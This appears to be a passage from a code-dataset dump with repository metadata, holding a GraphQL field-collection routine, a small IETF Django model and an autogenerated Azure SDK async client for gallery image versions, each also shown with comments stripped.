directives_definition=compute_directive_nodes( execution_context.schema, node.directives, execution_context.variable_values, ), directive_hook=hook_name, with_default=True, )( node, execution_context.context, context_coercer=execution_context.context, ) except SkipCollection: return False except Exception: return False return True def get_field_entry_key(node: "FieldNode") -> str: return node.alias.value if node.alias else node.name.value def does_fragment_condition_match( execution_context: "ExecutionContext", fragment_node: Union["FragmentDefinitionNode", "InlineFragmentNode"], graphql_object_type: "GraphQLObjectType", ) -> bool: type_condition_node = fragment_node.type_condition if not type_condition_node: return True conditional_type = schema_type_from_ast( execution_context.schema, type_condition_node ) if conditional_type is graphql_object_type: return True return ( conditional_type.is_abstract_type and conditional_type.is_possible_type(graphql_object_type) ) async def collect_fields( execution_context: "ExecutionContext", runtime_type: "GraphQLObjectType", selection_set: "SelectionSetNode", fields: Optional[Dict[str, List["FieldNode"]]] = None, visited_fragment_names: Optional[Set[str]] = None, ) -> Dict[str, List["FieldNode"]]: if fields is None: fields: Dict[str, "FieldNode"] = {} if visited_fragment_names is None: visited_fragment_names: Set[str] = set() for selection in selection_set.selections: if isinstance(selection, FieldNode): if not await should_include_node(execution_context, selection): continue fields.setdefault(get_field_entry_key(selection), []).append( selection ) elif isinstance(selection, InlineFragmentNode): if not await should_include_node( execution_context, selection ) or not does_fragment_condition_match( execution_context, selection, runtime_type ): continue await collect_fields( execution_context, runtime_type, selection.selection_set, fields, visited_fragment_names, ) elif isinstance(selection, FragmentSpreadNode): fragment_name = selection.name.value if ( fragment_name in visited_fragment_names or not await should_include_node(execution_context, selection) ): continue visited_fragment_names.add(fragment_name) fragment_definition = execution_context.fragments[fragment_name] if not fragment_definition or not does_fragment_condition_match( execution_context, fragment_definition, runtime_type ): continue await collect_fields( execution_context, runtime_type, fragment_definition.selection_set, fields, visited_fragment_names, ) return fields async def collect_subfields( execution_context: "ExecutionContext", return_type: "GraphQLOutputType", field_nodes: List["FieldNode"], ) -> Dict[str, List["FieldNode"]]: subfield_nodes: Dict[str, List["FieldNode"]] = {} visited_fragment_names: Set[str] = set() for field_node in field_nodes: selection_set = field_node.selection_set if selection_set: subfield_nodes = await collect_fields( execution_context, return_type, selection_set, subfield_nodes, visited_fragment_names, ) return subfield_nodes
true
true
f71f1a8bc82d2d2ee616d7db40d3b03f67a2b9bb
197
py
Python
ietf/utils/models.py
wpjesus/codematch
eee7405259cce9239ea0545a2a1300ee1accfe94
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2015-09-02T19:53:12.000Z
2015-09-02T19:53:12.000Z
ietf/utils/models.py
wpjesus/codematch
eee7405259cce9239ea0545a2a1300ee1accfe94
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
ietf/utils/models.py
wpjesus/codematch
eee7405259cce9239ea0545a2a1300ee1accfe94
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
# Copyright The IETF Trust 2015, All Rights Reserved from django.db import models class DumpInfo(models.Model): date = models.DateTimeField() host = models.CharField(max_length=128)
21.888889
52
0.736041
from django.db import models class DumpInfo(models.Model): date = models.DateTimeField() host = models.CharField(max_length=128)
true
true
f71f1ba39c37b17eb6607ab6ec5ad71e37435d39
32,775
py
Python
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2021_07_01/aio/operations/_gallery_image_versions_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
2,728
2015-01-09T10:19:32.000Z
2022-03-31T14:50:33.000Z
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2021_07_01/aio/operations/_gallery_image_versions_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
17,773
2015-01-05T15:57:17.000Z
2022-03-31T23:50:25.000Z
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2021_07_01/aio/operations/_gallery_image_versions_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
1,916
2015-01-19T05:05:41.000Z
2022-03-31T19:36:44.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class GalleryImageVersionsOperations: """GalleryImageVersionsOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.compute.v2021_07_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _create_or_update_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersion", **kwargs: Any ) -> "_models.GalleryImageVersion": cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersion"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._create_or_update_initial.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(gallery_image_version, 'GalleryImageVersion') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if response.status_code == 202: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def begin_create_or_update( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersion", **kwargs: Any ) -> AsyncLROPoller["_models.GalleryImageVersion"]: """Create or update a gallery image version. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param gallery_name: The name of the Shared Image Gallery in which the Image Definition resides. :type gallery_name: str :param gallery_image_name: The name of the gallery image definition in which the Image Version is to be created. :type gallery_image_name: str :param gallery_image_version_name: The name of the gallery image version to be created. Needs to follow semantic version name pattern: The allowed characters are digit and period. Digits must be within the range of a 32-bit integer. Format: :code:`<MajorVersion>`.:code:`<MinorVersion>`.:code:`<Patch>`. :type gallery_image_version_name: str :param gallery_image_version: Parameters supplied to the create or update gallery image version operation. :type gallery_image_version: ~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersion :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either GalleryImageVersion or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersion] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersion"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._create_or_update_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, gallery_image_version=gallery_image_version, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def _update_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersionUpdate", **kwargs: Any ) -> "_models.GalleryImageVersion": cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersion"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._update_initial.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(gallery_image_version, 'GalleryImageVersionUpdate') body_content_kwargs['content'] = body_content request = self._client.patch(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def begin_update( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersionUpdate", **kwargs: Any ) -> AsyncLROPoller["_models.GalleryImageVersion"]: """Update a gallery image version. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param gallery_name: The name of the Shared Image Gallery in which the Image Definition resides. :type gallery_name: str :param gallery_image_name: The name of the gallery image definition in which the Image Version is to be updated. :type gallery_image_name: str :param gallery_image_version_name: The name of the gallery image version to be updated. Needs to follow semantic version name pattern: The allowed characters are digit and period. Digits must be within the range of a 32-bit integer. Format: :code:`<MajorVersion>`.:code:`<MinorVersion>`.:code:`<Patch>`. :type gallery_image_version_name: str :param gallery_image_version: Parameters supplied to the update gallery image version operation. :type gallery_image_version: ~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersionUpdate :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either GalleryImageVersion or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersion] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersion"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._update_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, gallery_image_version=gallery_image_version, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def get( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, expand: Optional[Union[str, "_models.ReplicationStatusTypes"]] = None, **kwargs: Any ) -> "_models.GalleryImageVersion": """Retrieves information about a gallery image version. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param gallery_name: The name of the Shared Image Gallery in which the Image Definition resides. :type gallery_name: str :param gallery_image_name: The name of the gallery image definition in which the Image Version resides. :type gallery_image_name: str :param gallery_image_version_name: The name of the gallery image version to be retrieved. :type gallery_image_version_name: str :param expand: The expand expression to apply on the operation. :type expand: str or ~azure.mgmt.compute.v2021_07_01.models.ReplicationStatusTypes :keyword callable cls: A custom type or function that will be passed the direct response :return: GalleryImageVersion, or the result of cls(response) :rtype: ~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersion :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersion"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if expand is not None: query_parameters['$expand'] = self._serialize.query("expand", expand, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def _delete_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, **kwargs: Any ) -> None: cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" # Construct URL url = self._delete_initial.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore async def begin_delete( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, **kwargs: Any ) -> AsyncLROPoller[None]: """Delete a gallery image version. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param gallery_name: The name of the Shared Image Gallery in which the Image Definition resides. :type gallery_name: str :param gallery_image_name: The name of the gallery image definition in which the Image Version resides. :type gallery_image_name: str :param gallery_image_version_name: The name of the gallery image version to be deleted. :type gallery_image_version_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[None] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} # type: ignore def list_by_gallery_image( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, **kwargs: Any ) -> AsyncIterable["_models.GalleryImageVersionList"]: """List gallery image versions in a gallery image definition. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param gallery_name: The name of the Shared Image Gallery in which the Image Definition resides. :type gallery_name: str :param gallery_image_name: The name of the Shared Image Gallery Image Definition from which the Image Versions are to be listed. :type gallery_image_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either GalleryImageVersionList or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.compute.v2021_07_01.models.GalleryImageVersionList] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.GalleryImageVersionList"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_by_gallery_image.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('GalleryImageVersionList', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_by_gallery_image.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions'} # type: ignore
53.119935
247
0.681983
from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class GalleryImageVersionsOperations: models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _create_or_update_initial( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersion", **kwargs: Any ) -> "_models.GalleryImageVersion": cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2021-07-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" url = self._create_or_update_initial.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') header_parameters = {} header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} body_content = self._serialize.body(gallery_image_version, 'GalleryImageVersion') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if response.status_code == 202: deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/images/{galleryImageName}/versions/{galleryImageVersionName}'} async def begin_create_or_update( self, resource_group_name: str, gallery_name: str, gallery_image_name: str, gallery_image_version_name: str, gallery_image_version: "_models.GalleryImageVersion", **kwargs: Any ) -> AsyncLROPoller["_models.GalleryImageVersion"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._create_or_update_initial( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=gallery_image_name, gallery_image_version_name=gallery_image_version_name, gallery_image_version=gallery_image_version, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('GalleryImageVersion', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'galleryName': self._serialize.url("gallery_name", gallery_name, 'str'), 'galleryImageName': self._serialize.url("gallery_image_name", gallery_image_name, 'str'), 'galleryImageVersionName': self._serialize.url("gallery_image_version_name", gallery_image_version_name, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) 